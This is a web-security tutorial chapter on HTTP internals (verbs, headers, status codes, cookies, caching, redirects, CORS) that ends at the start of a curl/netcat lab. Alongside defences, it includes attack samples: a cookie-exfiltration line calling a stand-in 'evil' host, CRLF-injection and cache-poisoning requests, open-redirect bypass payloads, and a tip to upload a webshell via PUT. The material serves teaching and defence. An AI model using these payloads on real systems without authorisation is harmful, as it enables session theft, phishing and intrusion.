HTTP in Depth: Verbs, Headers, Cookies, Caching & Redirects

This is Chapter 2 of the Web Fundamentals series — Notebook 6. Chapter 1 followed a single request end to end and named every hop between the keystroke and the pixels. This chapter zooms in on the one protocol that rides across almost all of those hops: HTTP. Everything a web application says to a browser, everything a browser says back, everything a reverse proxy and a CDN inspect to decide where to route and what to cache — all of it is HTTP text (or, in HTTP/2 and HTTP/3, a binary framing of the same semantics).

If you cannot read a raw HTTP request and say what every line means, you cannot find the bugs that live in the gaps between two components’ interpretations of it. A request-smuggling bug is two servers disagreeing about which header decides the body length. A cache-poisoning bug is a cache and an origin disagreeing about which headers identify a response. A session-fixation bug is an application trusting a cookie it should have regenerated. Every one of these is a misreading of the bytes we are about to study. So we read the bytes — slowly, completely, with real tools — before we touch a payload.

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Part 1: What HTTP Actually Is — A Text Protocol Over a Reliable Pipe

HTTP — HyperText Transfer Protocol — is a request/response, stateless, application-layer protocol. Strip away the jargon and it is astonishingly simple: the client opens a connection to a server, sends a block of text that begins with a verb and a path, and the server sends back a block of text that begins with a status code. That is the whole protocol. Everything else — cookies, caching, authentication, compression — is layered on top using headers, which are just Name: Value lines.

Three properties matter from the start:

• Text-based (through HTTP/1.1). An HTTP/1.1 request is human-readable ASCII. You can type one by hand into a raw TCP socket and get a real answer back. HTTP/2 and HTTP/3 change the framing to binary for efficiency, but the semantics — verbs, paths, headers, status codes — are identical. Learn HTTP/1.1 as text first; the binary versions are the same ideas in a different envelope.
• Stateless. The protocol itself remembers nothing between requests. The server does not inherently know that request #2 came from the same person as request #1. Every scrap of “who are you” has to be re-sent on every request. This single fact is why cookies, sessions and tokens exist — they are the bolt-on that fakes statefulness over a stateless protocol, and they are where a huge fraction of web bugs live (covered in depth in Chapter 3).
• Runs over a reliable transport. HTTP/1.1 and HTTP/2 run over TCP (usually wrapped in TLS, making it HTTPS). HTTP/3 runs over QUIC, which itself runs over UDP but re-implements reliability. HTTP assumes the bytes it sends arrive in order and intact; the transport layer guarantees that.

The mental model: a browser is a machine that turns your clicks into HTTP requests and turns HTTP responses back into pixels. A web server is a machine that turns HTTP requests into HTTP responses. A pentester is a person who writes HTTP requests the browser never would.

sequenceDiagram
    participant C as Client (browser / curl)
    participant S as Server (nginx / app)
    C->>S: TCP connect (3-way handshake)
    C->>S: TLS handshake (if HTTPS)
    C->>S: HTTP request (method, path, headers, [body])
    S->>S: Route, authenticate, run app logic
    S-->>C: HTTP response (status, headers, [body])
    Note over C,S: Connection may stay open (keep-alive) for more requests
    C->>S: Next HTTP request (reuses connection)
    S-->>C: Next HTTP response

Seeing a raw request with your own eyes

Before any theory, look at the real thing. curl -v prints the exact bytes it sends (>) and receives (<):

curl -v https://example.com/ 2>&1 | head -n 30

*   Trying 93.184.216.34:443...
* Connected to example.com (93.184.216.34) port 443
* using HTTP/2
> GET / HTTP/2
> Host: example.com
> user-agent: curl/8.5.0
> accept: */*
>
< HTTP/2 200
< content-type: text/html; charset=UTF-8
< date: Mon, 01 Jan 2024 00:00:00 GMT
< server: ECS (dcb/7EA3)
< content-length: 1256
<
<!doctype html>
<html>
...

Every line above the blank line is a header. The blank line (\r\n\r\n) separates headers from body. That blank line is one of the most important structural facts in all of web security — half of request smuggling is about making two servers disagree about where it is.

To see genuine HTTP/1.1 text (not HTTP/2’s binary framing), talk to a plain-HTTP port with nc (netcat) and type the request yourself:

printf 'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n' | nc example.com 80

That printf sends exactly: a request line, two header lines, and the terminating blank line. \r\n is a carriage-return + line-feed — HTTP mandates CRLF line endings, not bare \n. This detail bites people constantly: a server that is strict about CRLF will reject a request that uses bare newlines, and a server that is lax about it is often exploitable.

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Part 2: The Request — Anatomy of the Bytes a Client Sends

An HTTP/1.1 request has four parts, in this exact order:

1. Request line — METHOD SP request-target SP HTTP-version CRLF
2. Header fields — zero or more field-name: field-value CRLF lines
3. Empty line — a bare CRLF that ends the header section
4. Message body — optional; present for POST, PUT, PATCH, etc.

Here is a fully annotated POST:

POST /api/login HTTP/1.1                 ← request line: method, target, version
Host: shop.example.com                   ← which virtual host (mandatory in HTTP/1.1)
User-Agent: Mozilla/5.0 (X11; Linux)     ← who is asking
Accept: application/json                 ← what representations the client will take
Content-Type: application/json           ← what the body is
Content-Length: 44                       ← how many bytes the body is
Cookie: session=abc123                   ← state carried from a previous response
Connection: keep-alive                   ← keep the TCP connection open for reuse
                                         ← EMPTY LINE (CRLF) ends the headers
{"username":"admin","password":"hunter2"}   ← body: exactly 44 bytes

The request target — four forms, and why security cares

The middle token of the request line is the request-target, and it is not always just a path. RFC 9112 defines four forms:

Form	Example	Used when
origin-form	GET /cart?id=42 HTTP/1.1	Normal requests to a server
absolute-form	GET http://a.com/cart HTTP/1.1	Requests to a proxy
authority-form	CONNECT a.com:443 HTTP/1.1	CONNECT tunnels (HTTPS via proxy)
asterisk-form	OPTIONS * HTTP/1.1	Server-wide OPTIONS

Security relevance: many servers accept absolute-form even when they are not proxies. If a back-end trusts the path from absolute-form but a front-end routed on the Host header, the two can be pointed at different places — this is a classic routing-based access-control bypass and a building block of some SSRF and request-smuggling chains. Always test whether a target accepts GET http://internal-host/ HTTP/1.1 where the Host header says something else.

The Host header — the single most security-relevant header in HTTP/1.1

In HTTP/1.1 the Host header is mandatory — a compliant server must reject a request that lacks it with 400 Bad Request. It exists because one IP address and one TCP port routinely serve hundreds of different websites (virtual hosting); the Host header is how the server knows which site you actually want.

Because so much infrastructure trusts Host to build absolute URLs (password-reset links, cache keys, redirects), tampering with it is a whole vulnerability family:

• Host-header injection → poisoned password reset. If the app builds a reset link as https://{Host}/reset?token=... and emails it, an attacker who sets Host: attacker.com can make the victim’s reset token land on their own server.
• Web cache poisoning via Host or X-Forwarded-Host when those values reflect into the cached response.
• SSRF / routing bypass when a front-end and back-end disagree on which host wins.

We will return to each; for now, internalize that Host is attacker-controlled input like any other, never a trusted fact.

flowchart TD
    A[Client sends request] --> B{Which Host header?}
    B -->|shop.example.com| C[Virtual host: shop]
    B -->|blog.example.com| D[Virtual host: blog]
    B -->|attacker.com| E[App reflects Host into<br/>reset link / cache key]
    E --> F[Host-header injection<br/>cache poisoning]

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Part 3: The Methods (Verbs) — What Each One Promises

The method (or verb) is the first token of the request line. It declares intent. The HTTP specification attaches two crucial properties to methods that drive both correct app design and attacker reasoning:

• Safe — the method is not supposed to change server state. GET, HEAD, OPTIONS, TRACE are safe. A GET that deletes a record is a design bug (and a CSRF goldmine).
• Idempotent — sending it N times has the same effect as sending it once. GET, HEAD, PUT, DELETE, OPTIONS are idempotent; POST is not; PATCH need not be.

Method	Safe	Idempotent	Body	Purpose	Primary security angle
GET	yes	yes	no*	Retrieve a representation	State-changing GETs → CSRF; params leak in logs/Referer
HEAD	yes	yes	no	Like GET but headers only	Cheap oracle for file existence / size enumeration
POST	no	no	yes	Submit data, create/process	CSRF, mass assignment, injection sinks
PUT	no	yes	yes	Create/replace at a URI	If enabled unauth → arbitrary file upload / RCE
PATCH	no	no	yes	Partial update	Mass assignment, IDOR on partial fields
DELETE	no	yes	no*	Remove a resource	Broken access control → destructive IDOR
OPTIONS	yes	yes	no	Ask what methods/CORS are allowed	Enumerate methods; CORS preflight recon
HEAD	yes	yes	no	Metadata only	Timing/size side channels
TRACE	yes	yes	no	Echo the request back	Cross-Site Tracing (XST) — steal headers via reflection
CONNECT	no	no	no	Establish a tunnel (proxies)	Proxy abuse, SSRF pivoting

* GET and DELETE may carry a body per RFC 9110, but many servers ignore or reject it; do not rely on it.

GET vs POST — the distinction that matters for security

The functional difference students memorize (“GET puts data in the URL, POST in the body”) is true but shallow. The security-relevant differences:

• GET parameters are logged and leaked. They appear in server access logs, proxy logs, browser history, and — critically — in the Referer header sent to the next site the user visits. Never put secrets (tokens, passwords, session IDs) in a query string.
• GET is trivially CSRF-able. An <img src="https://bank/transfer?to=attacker&amt=1000"> fires a GET with the victim’s cookies attached. A state-changing GET is a CSRF vulnerability by construction.
• POST bodies are not automatically safer, but they are not reflected into Referer and require a more deliberate cross-site form/fetch, which SameSite cookies and CSRF tokens can defend.

Red team usage: when you find PUT or DELETE enabled on a directory (test with OPTIONS), try uploading a webshell with PUT /shell.jsp — misconfigured WebDAV and some app servers grant instant RCE. Blue team usage: disable PUT, DELETE, TRACE, CONNECT at the web-server layer unless a specific API needs them; alert on TRACE requests (legitimate clients never send them).

Method enumeration in practice

# Ask the server what it allows on a path:
curl -s -X OPTIONS https://target.example.com/api/ -i | grep -i '^allow'

Allow: GET, POST, PUT, DELETE, OPTIONS

That Allow header is a menu. If PUT/DELETE show up on paths that a normal user should not be able to write, you have a probable broken-access-control finding to chase.

# Test method-based access-control bypass: many frameworks route GET and HEAD identically,
# and some enforce authz only on GET. Try HEAD, or an unexpected verb, on a protected route:
curl -s -X HEAD  https://target/admin -i | head -1
curl -s -X FOOBAR https://target/admin -i | head -1   # non-standard verb: does it 200?

HTTP verb tampering exploits frameworks that check authorization for GET but fall through for other verbs, or treat an unknown verb as GET. If /admin is 403 on GET but 200 on HEAD or a made-up verb, the authorization filter is method-scoped and bypassable.

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Part 4: The Response — Status Lines and the Five Status-Code Families

The server’s reply mirrors the request’s structure: a status line, headers, empty line, body.

HTTP/1.1 200 OK                          ← status line: version, code, reason phrase
Content-Type: text/html; charset=utf-8
Content-Length: 1256
Set-Cookie: session=abc123; HttpOnly     ← issue state to the client
Cache-Control: no-store
                                         ← empty line
<!doctype html>...                       ← body

The three-digit status code is grouped into five families by its first digit:

Range	Family	Meaning	Codes you must know cold
1xx	Informational	Request received, continue	100 Continue, 101 Switching Protocols (WebSocket upgrade)
2xx	Success	Request succeeded	200 OK, 201 Created, 204 No Content, 206 Partial Content
3xx	Redirection	Further action needed	301/308 permanent, 302/307 temporary, 304 Not Modified
4xx	Client error	The request was wrong	400, 401, 403, 404, 405, 429
5xx	Server error	The server failed	500, 502, 503, 504

The codes that carry security meaning

• 401 Unauthorized actually means unauthenticated — “I don’t know who you are, send credentials.” It must come with a WWW-Authenticate header naming the scheme.
• 403 Forbidden means authenticated but not allowed — “I know who you are and the answer is no.” The 401-vs-403 distinction is a live oracle during access-control testing: a 403 where you expected 404 tells you the resource exists but you can’t reach it — an IDOR lead.
• 404 vs 403 vs 200 as an enumeration oracle. Differential responses leak structure. If /admin returns 403 and /nonsense returns 404, the app is confirming /admin exists. Content-discovery tools (ffuf, feroxbuster) are built entirely on classifying these differences.
• 405 Method Not Allowed confirms a path exists but rejects your verb — pair it with the Allow header for the real menu.
• 429 Too Many Requests is the rate-limiter talking. Its presence, threshold, and the Retry-After header shape every brute-force and credential-stuffing decision.
• 500 with a stack trace is an information-disclosure jackpot: framework versions, file paths, SQL fragments, and injection confirmation all leak through verbose 500s.

Bug-bounty note: disagreements between status codes across a proxy are a smuggling/desync signal. If the same request yields 200 directly to the origin but 404 through the CDN (or vice-versa), the two are parsing it differently — worth a deeper desync probe on PortSwigger’s Web Security Academy request-smuggling labs.

flowchart LR
    R[Request] --> D{First digit}
    D -->|1| I[Informational: keep going]
    D -->|2| S[Success: here is your resource]
    D -->|3| RD[Redirect: look elsewhere]
    D -->|4| CE[You messed up]
    D -->|5| SE[I messed up]
    CE --> A1[401 auth / 403 authz / 404 missing]
    RD --> A2[301/302/307/308 → open-redirect surface]

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Part 5: Headers — The Taxonomy That Runs the Web

Headers are Name: Value metadata lines. Names are case-insensitive (Content-Type == content-type; HTTP/2 lowercases them). Values are largely free-form ASCII. There are hundreds of standard headers plus unlimited custom ones (historically X- prefixed). Rather than memorize a list, organize them by who sends them and what they control.

Request headers (client → server)

Header	What it does	Security angle
Host	Selects the virtual host	Host-header injection, cache poisoning, SSRF
User-Agent	Identifies the client	Injection sink if logged/reflected; UA-based WAF bypass
Accept / Accept-Language / Accept-Encoding	Content negotiation	Can key caches; Accept-Language can be an injection vector
Cookie	Carries state back to server	Session theft, fixation, injection
Authorization	Credentials (Basic/Bearer/Digest)	Token leakage, JWT attacks (Chapter later)
Referer	The page that linked here	Leaks URLs+tokens cross-site; trust-boundary mistakes
Origin	The origin of a cross-site request	Core of CORS and CSRF defenses
Content-Type	Format of the request body	Parser confusion, mass assignment, SSRF via XML/JSON
Content-Length / Transfer-Encoding	Body length framing	Request smuggling lives here
X-Forwarded-For / X-Forwarded-Host / X-Forwarded-Proto	Proxy-added client info	Spoofable → IP allowlist bypass, cache poisoning

Response headers (server → client)

Header	What it does	Security angle
Content-Type	Format of the body	Missing/wrong → MIME sniffing → XSS
Set-Cookie	Issues state to the client	Flags decide session safety (Part 8)
Location	Redirect target	Open redirect if attacker-controlled
Cache-Control / Expires / ETag / Vary	Caching behavior	Cache poisoning & deception
Content-Security-Policy	Restricts resource loading	Primary XSS mitigation
Strict-Transport-Security	Force HTTPS	Prevents SSL-strip downgrade
X-Frame-Options / frame-ancestors	Framing control	Clickjacking defense
X-Content-Type-Options: nosniff	Disable MIME sniffing	Blocks sniffing-based XSS
Access-Control-Allow-Origin	CORS grant	Misconfig → cross-origin data theft

The security-header baseline every response should carry

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload
Content-Security-Policy: default-src 'self'; object-src 'none'; frame-ancestors 'none'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), camera=(), microphone=()
Cache-Control: no-store        (on any authenticated / sensitive response)

Blue team usage: an automated header audit (below) belongs in CI. Bug-bounty note: missing headers are usually low/informational on their own — chain them (missing X-Frame-Options

• a sensitive state-changing action = clickjacking with impact) to earn a payout.

# Quick header posture check with curl (-I = HEAD, -s silent, -S show errors):
curl -sSI https://target.example.com/ | \
  grep -iE 'strict-transport|content-security|x-frame|x-content-type|referrer-policy|set-cookie'

Header injection (CRLF injection) — where headers become the wound

If user input flows into a response header without stripping \r\n, an attacker can inject a CRLF and forge new headers or split the response entirely:

# Vulnerable redirect that reflects a 'next' param into Location:
GET /redirect?next=/dashboard%0d%0aSet-Cookie:%20session=attacker HTTP/1.1

If the server emits Location: /dashboard\r\nSet-Cookie: session=attacker, the attacker just set a cookie via a crafted URL — response splitting. Modern servers reject raw CR/LF in header values, but application code that builds headers by string concatenation still reintroduces the bug. Defense: never concatenate untrusted data into headers; use framework APIs that encode or reject control characters.

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Part 6: Content Negotiation, Encoding and the Body

The client and server negotiate how the resource is represented using the Accept* request headers and the Content-* response headers.

• Accept: text/html, application/json;q=0.9 — “I prefer HTML, JSON is acceptable.” The q value (quality, 0–1) ranks preferences.
• Accept-Encoding: gzip, br — “I can decompress gzip or Brotli.” The server replies with Content-Encoding: gzip and a compressed body.
• Accept-Language: en-US, fr;q=0.7 — drives localization; also a subtle cache key and an occasional injection sink.

Content-Type and the charset — why ; charset=utf-8 matters for XSS

A response of Content-Type: text/html with reflected input is an XSS sink. The same bytes with Content-Type: application/json or text/plain are (usually) inert because the browser will not parse them as HTML — unless the response lacks X-Content-Type-Options: nosniff, in which case the browser may MIME-sniff the content, decide it “looks like HTML,” and execute it anyway. This is precisely why nosniff exists.

The charset parameter also matters: serving user-controlled bytes as an unusual charset (ISO-2022-JP, UTF-7 historically) enabled encoding-based filter bypasses. Always pin ; charset=utf-8.

How the body length is determined — the root of request smuggling

A server reading a request/response body has to know where the body ends. HTTP/1.1 gives two mechanisms, and they must never both be authoritative at once:

1. Content-Length: N — the body is exactly N bytes.
2. Transfer-Encoding: chunked — the body is sent in size-prefixed chunks, ending with a 0-sized chunk. Example chunked body:

7\r\n
Mozilla\r\n
9\r\n
Developer\r\n
0\r\n
\r\n

The spec is explicit: if both Content-Length and Transfer-Encoding are present, Transfer- Encoding wins and Content-Length must be ignored/rejected. When a front-end proxy honors one and the back-end honors the other, they disagree about where request A ends and request B begins — an attacker smuggles the front of request B into the back of request A. That is HTTP request smuggling (CL.TE / TE.CL desync), one of the highest-impact web bugs, and it is entirely a body-framing disagreement. We only introduce it here; the dedicated smuggling chapter weaponizes it.

sequenceDiagram
    participant A as Attacker
    participant F as Front-end (uses Content-Length)
    participant B as Back-end (uses Transfer-Encoding)
    A->>F: Request with BOTH CL and TE headers
    F->>B: Forwards full bytes (CL says length X)
    Note over B: B honors TE: chunked, stops early
    Note over B: Leftover bytes = start of NEXT request
    A->>F: Victim's real request arrives
    B-->>A: Victim request gets prefixed by attacker's leftover
    Note over A,B: Desync → hijack, cache poison, bypass

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Part 7: Redirects — 3xx, the Location Header and Open Redirect

A redirect is the server saying “what you want lives at a different URL.” It is a 3xx status plus a Location header naming the new URL. The browser (or curl with -L) follows it.

Code	Name	Method preserved on follow?	Caches?	Typical use
301	Moved Permanently	May change POST→GET	Yes	Permanent URL change (SEO)
302	Found	Historically changes POST→GET	No	Generic temporary redirect
303	See Other	Forces GET	No	Post/Redirect/Get after form submit
307	Temporary Redirect	Preserves method + body	No	Temp redirect keeping POST
308	Permanent Redirect	Preserves method + body	Yes	Permanent redirect keeping POST

The 302-vs-307 distinction matters when a POST is redirected: 302 typically drops your body and re-issues a GET; 307 replays the POST verbatim to the new Location. Attackers use 307 redirects to bounce a POST with its body to a third party in some SSRF and CSRF chains.

Open redirect — small bug, big multiplier

If the redirect target comes from user input without validation, you have an open redirect:

GET /login?returnUrl=https://evil.example/phish HTTP/1.1
→ HTTP/1.1 302 Found
  Location: https://evil.example/phish

On its own an open redirect is often rated low, but it is a force multiplier:

• Phishing — the link genuinely starts on the trusted domain, then bounces to the attacker.
• OAuth token theft — an open redirect on a registered redirect_uri host can leak code/token to the attacker (a real, high-severity pattern).
• SSRF / filter bypass — server-side fetchers that follow redirects can be walked from an allowed host to an internal one.
• CSP / allowlist bypass — bounce through a trusted, allow-listed domain.

Filter-bypass payload matrix (why naive startswith("https://trusted") checks fail):

Payload	Why it bypasses
https://trusted.com.evil.com	trusted.com is only a subdomain label of evil.com
https://trusted.com@evil.com	userinfo — browser goes to evil.com
//evil.com	scheme-relative — inherits current scheme, host becomes evil
https:evil.com	some parsers treat as https://evil.com
/\evil.com or \/\/evil.com	backslash normalization differs per parser
https://evil.com%2f%2e%2e	encoded path tricks partial validators
https://trusted.com%00.evil.com	null-byte truncation in weak parsers

Defense: never redirect to a raw user-supplied absolute URL. Allowlist to a fixed set of paths, or map an opaque token → server-known URL. If you must accept a URL, parse it with a real URL parser and compare the host against an exact allowlist (not startswith), rejecting userinfo, backslashes and scheme-relative forms.

# Detect: does the app follow a fully attacker-controlled Location?
curl -s -o /dev/null -w '%{http_code} -> %{redirect_url}\n' \
  'https://target/login?returnUrl=https://evil.example/'

302 -> https://evil.example/

That output — a 302 pointing straight at evil.example — is a confirmed open redirect.

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Part 8: Cookies and Set-Cookie — State Bolted onto a Stateless Protocol

Because HTTP is stateless, the server hands the client a token and asks it to send that token back on every subsequent request. That token is a cookie. The server issues it with a Set-Cookie response header; the browser stores it and echoes it in a Cookie request header.

HTTP/1.1 200 OK
Set-Cookie: session=8f3b...e1; Domain=example.com; Path=/; Secure; HttpOnly; SameSite=Lax; Max-Age=3600

GET /account HTTP/1.1
Host: example.com
Cookie: session=8f3b...e1

Every attribute on Set-Cookie is a security control. Learn all of them:

Attribute	Meaning	Attack it prevents / enables
Secure	Only sent over HTTPS	Missing → cookie leaks over cleartext HTTP (SSL-strip, sniffing)
HttpOnly	Hidden from document.cookie (JS)	Missing → XSS can steal the session cookie
SameSite=Strict	Never sent on cross-site requests	Strongest CSRF defense; can break legit cross-site nav
SameSite=Lax	Sent on top-level GET navigations only	Default in modern browsers; blocks most CSRF
SameSite=None	Sent cross-site (requires Secure)	Needed for legit cross-site cookies; re-opens CSRF surface
Domain	Which hosts receive it	Too broad → subdomain can read/set parent cookie
Path	Which paths receive it	Weak isolation only (not a security boundary)
Max-Age / Expires	Lifetime	Long-lived session tokens widen theft window
__Host- prefix	Forces Secure + Path=/ + no Domain	Hardens against subdomain/Path cookie attacks
__Secure- prefix	Forces Secure	Prevents insecure overwrite

The three cookie attacks you must be able to explain

1. Cookie theft via XSS — if a session cookie lacks HttpOnly, any XSS payload can do fetch('https://evil/?c='+document.cookie) and exfiltrate the session. HttpOnly is the single most important flag for session cookies.
2. CSRF — because browsers auto-attach cookies to any request to their domain, a malicious page can trigger a state-changing request that rides the victim’s session. SameSite=Lax/Strict and CSRF tokens are the defenses. (Full CSRF treatment is its own chapter.)
3. Session fixation — if the app accepts a session ID chosen before login and doesn’t regenerate it on authentication, an attacker who planted the ID inherits the logged-in session. Defense: always issue a fresh session ID at the privilege boundary (login).

Cookie scoping subtlety (security-critical): cookie Domain uses domain-suffix matching, and cookies do not respect the same-origin policy’s port/scheme strictness the way you might expect. A cookie set with Domain=example.com is sent to app.example.com, admin.example.com and any other subdomain — so a single XSS on a throwaway subdomain can set or read a cookie that the main app trusts (cookie tossing / subdomain takeover → session issues). The __Host- prefix defeats this by forbidding the Domain attribute entirely.

flowchart TD
    L[User logs in] --> SC[Server: Set-Cookie session=...; HttpOnly; Secure; SameSite=Lax]
    SC --> B[Browser stores cookie]
    B --> R1[Every request to domain auto-sends Cookie header]
    R1 --> Q{Cookie flags?}
    Q -->|no HttpOnly| X[XSS steals it via document.cookie]
    Q -->|SameSite=None, no CSRF token| C[Cross-site request forgery]
    Q -->|no Secure| N[Leaks over HTTP]
    Q -->|hardened| OK[Session stays bound to user]

We go far deeper into sessions, tokens and stateful-vs-stateless auth in Chapter 3; here the point is that cookies are just headers, and every attribute is a switch that turns an attack on or off.

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Part 9: Caching — The Layer That Serves the Wrong Page to the Wrong Person

Caching stores a response so it can be reused without re-hitting the origin. Caches live in many places: the browser, a corporate forward proxy, a CDN edge node, a reverse-proxy in front of the app. Caching makes the web fast — and it makes two catastrophic bug classes possible: web cache poisoning (attacker stores a malicious response that gets served to victims) and web cache deception (attacker tricks the cache into storing a victim’s private response).

The headers that govern caching

Header	Role
Cache-Control	The master switch: no-store, no-cache, private, public, max-age=N, s-maxage=N
Expires	Legacy absolute expiry date (superseded by max-age)
ETag	Opaque version tag for a resource; enables conditional requests
Last-Modified	Timestamp version; enables conditional requests
Vary	Lists request headers that change the response → part of the cache key
Age	How long the cached copy has been stored

Cache-Control directives you must know:

• no-store — never cache this at all (use on every authenticated/sensitive response).
• no-cache — may store, but must revalidate with the origin before serving.
• private — only the browser may cache, not shared caches (CDNs/proxies).
• public — any cache may store it.
• max-age=N — fresh for N seconds in private caches; s-maxage=N overrides for shared caches.

Conditional requests — how revalidation actually works

Once a client has a cached copy with an ETag, it re-asks with If-None-Match; if unchanged the server returns a bodyless 304 Not Modified and the client reuses its copy:

GET /app.js HTTP/1.1
If-None-Match: "v13-abc"

HTTP/1.1 304 Not Modified          ← no body; reuse the cached bytes
ETag: "v13-abc"

The Last-Modified / If-Modified-Since pair works the same way with timestamps.

The cache key — and why it is the whole ballgame

A cache decides “is this the same request I already have a response for?” by computing a cache key — typically the method + host + path + query string, plus any headers named in Vary. Headers not in the cache key are called unkeyed. The core insight of cache poisoning:

If an unkeyed header influences the response body, an attacker can send that header, get a malicious response stored under the normal cache key, and every later victim requesting the normal URL receives the poisoned response.

Classic example — an app reflects X-Forwarded-Host into a <script src> but the cache does not key on X-Forwarded-Host:

GET / HTTP/1.1
Host: victim.example
X-Forwarded-Host: evil.example      ← unkeyed, but reflected into the page

If the response body now contains <script src="https://evil.example/x.js"> and the cache stores it, every subsequent visitor to / loads attacker JavaScript. That is web cache poisoning → mass XSS.

Web cache deception is the mirror image: the attacker lures a logged-in victim to https://victim.example/account/wallet.css. The app ignores the fake .css suffix and serves the victim’s private account page, but the CDN — seeing a .css extension — caches it as a static asset. The attacker then fetches /account/wallet.css themselves and reads the victim’s cached private data.

flowchart TD
    subgraph Poisoning
    A1[Attacker sends unkeyed header] --> A2[Origin reflects it into body]
    A2 --> A3[Cache stores poisoned response under normal key]
    A3 --> A4[Victims get attacker payload]
    end
    subgraph Deception
    B1[Victim lured to /account.css] --> B2[App serves private page]
    B2 --> B3[Cache stores it as 'static']
    B3 --> B4[Attacker reads victim data from cache]
    end

Defense: send Cache-Control: no-store (or at least private) on every dynamic, personalized, or authenticated response; make the cache key include every header that affects the body (or strip unkeyed inputs at the edge); never let a CDN cache by extension without checking the real Content-Type and cacheability from the origin. Blue team usage: alert on cache HITs for URLs that should always be personalized. Bug-bounty note: PortSwigger’s Web Security Academy cache-poisoning and cache-deception labs are the canonical training ground, and Param Miner (a Burp extension) automates unkeyed-header discovery.

---

Part 10: HTTP Versions — 1.0, 1.1, 2 and 3 (Same Semantics, Different Framing)

The semantics you have learned — verbs, headers, status codes, cookies — are identical across HTTP versions. What changes is the framing: how those semantics are packed onto the wire.

Version	Year	Transport	Framing	Multiplexing	Header compression
HTTP/1.0	1996	TCP	Text; one request per connection	No	None
HTTP/1.1	1997	TCP	Text; keep-alive + pipelining	No (head-of-line blocked)	None
HTTP/2	2015	TCP + TLS	Binary frames, streams	Yes (many streams / 1 TCP conn)	HPACK
HTTP/3	2022	QUIC/UDP + TLS 1.3	Binary frames	Yes (no TCP HOL blocking)	QPACK

Key points and their security consequences:

• HTTP/1.1 keep-alive & pipelining. Connections are reused. Multiple requests can be in flight on one connection — which is exactly what makes request smuggling possible when two hops disagree on message boundaries.
• HTTP/2 is binary and multiplexed. Many logical “streams” share one TCP connection. There is no Transfer-Encoding: chunked in H2 (length is framed), which removes the classic CL.TE smuggling — but introduces H2 downgrade smuggling and request tunnelling when an H2 front-end rewrites to H1 back-ends and mishandles header injection via H2’s more permissive fields.
• HTTP/2 pseudo-headers (:method, :path, :scheme, :authority) replace the request line and Host. :authority is the H2 equivalent of Host — same host-header attack surface, new name.
• HTTP/3 over QUIC eliminates TCP head-of-line blocking and always uses TLS 1.3. From a bug-hunter’s view the semantics and most header-level attacks carry straight over; the transport is different but the app-layer weaknesses (CORS, cookies, caching, redirects) are unchanged.

# See which version a site negotiates (curl picks the highest it and the server support):
curl -sI --http2 https://example.com/ | head -1     # HTTP/2 200
curl -sI --http3 https://cloudflare.com/ | head -1   # HTTP/3 200 (if curl built with HTTP/3)
curl -sI --http1.1 https://example.com/ | head -1    # force HTTP/1.1 to read raw text semantics

Forcing --http1.1 is a standard move when you want the text framing — e.g. to hand-craft smuggling probes or to read exactly which headers the origin emits without HPACK obscuring them.

---

Part 11: CORS and the Same-Origin Policy — the Browser’s HTTP Trust Rules

The Same-Origin Policy (SOP) is the browser’s foundational rule: script from origin A may read responses only from origin A. An origin is the triple (scheme, host, port) — https://app.example.com:443. Change any one and it’s a different origin. SOP is why an evil page can send a request to your bank (CSRF) but cannot read the response.

Cross-Origin Resource Sharing (CORS) is the controlled exception: a server can opt in to letting specific other origins read its responses, using response headers.

Access-Control-Allow-Origin: https://trusted-frontend.example
Access-Control-Allow-Credentials: true
Access-Control-Allow-Methods: GET, POST, PUT
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Max-Age: 600

For “non-simple” requests (custom headers, PUT/DELETE, JSON content-type), the browser first sends a preflight OPTIONS request asking permission; only if the response allows it does the real request go out.

sequenceDiagram
    participant JS as JS on evil.example
    participant BR as Browser
    participant API as api.victim.example
    JS->>BR: fetch('https://api.victim.example/me', {credentials:'include'})
    BR->>API: OPTIONS /me (Origin: https://evil.example)
    API-->>BR: Access-Control-Allow-Origin: ??? / Allow-Credentials: ???
    alt ACAO reflects evil.example AND ACAC:true
        BR->>API: GET /me (with cookies)
        API-->>BR: 200 + private data
        BR-->>JS: JS can READ the data  ← CORS misconfig = data theft
    else ACAO not matching
        BR-->>JS: blocked by SOP
    end

The CORS misconfigurations that pay bounties

• Reflecting the Origin header + Allow-Credentials: true. If the server copies whatever Origin you send into Access-Control-Allow-Origin and also sets Allow-Credentials: true, any website can read the victim’s authenticated responses. This is a high-severity account-data leak.
• Access-Control-Allow-Origin: * with credentials. The spec forbids * together with credentials, and browsers enforce it — but servers that reflect the origin sidestep the * rule and reach the same dangerous state.
• Weak origin allowlist regex. ^https://.*\.example\.com$ that forgets to anchor, or that matches evil-example.com or example.com.evil.com. Test suffix/prefix tricks just like open redirect.
• null origin trusted. Sandboxed iframes and some redirects send Origin: null; a server that allow-lists null can be attacked from a sandboxed iframe.

# Probe: does the API reflect an arbitrary Origin with credentials?
curl -s -I https://api.target.example/me \
  -H 'Origin: https://evil.example' | grep -i 'access-control-allow'

Access-Control-Allow-Origin: https://evil.example      ← reflected!
Access-Control-Allow-Credentials: true                 ← + credentials = readable private data

That pair of lines is a confirmed, reportable CORS misconfiguration. Defense: never reflect Origin; maintain a strict, exact-match allowlist; never combine a wildcard-ish policy with Allow-Credentials: true; and remember CORS is not a CSRF defense — it controls reading responses, not sending requests.

---

Part 12: Hands-On Lab — Read and Forge HTTP by Hand

This lab uses only tools on Kali (or any Linux). It teaches four tools from scratch, then walks a full request/response investigation. Nothing here touches a system you don’t own — point it at http://httpbin.org, a local container, or a lab target you are authorized to test.

Tool 0: the toolbox, from zero

• curl — a command-line HTTP client. It sends one request and prints the response. The flags you will live in: -v (verbose, shows sent/received bytes), -I (HEAD only), -i (include response headers in output), -s (silent), -X METHOD (set verb), -H 'H: v' (add header), -d 'data' (POST body), -b/-c (send/save cookies), -L (follow redirects), -o file/-w '%{...}' (write body/format output), --http1.1/--http2 (pin version). Install: preinstalled on Kali; else sudo apt install curl.
• nc (netcat) — a raw TCP/UDP swiss-army knife. nc host port opens a socket; whatever you type is sent verbatim. It does zero HTTP for you, which is the point — you write the protocol by hand. Install: sudo apt install netcat-openbsd.
• openssl s_client — netcat for TLS. openssl s_client -connect host:443 gives you an interactive encrypted socket so you can hand-type HTTPS requests. Install: sudo apt install openssl.
• httpie (optional, friendlier): http GET example.com. Install: sudo apt install httpie.

Step 1 — send a request and read every byte

curl -v http://httpbin.org/get 2>&1 | sed -n '1,25p'
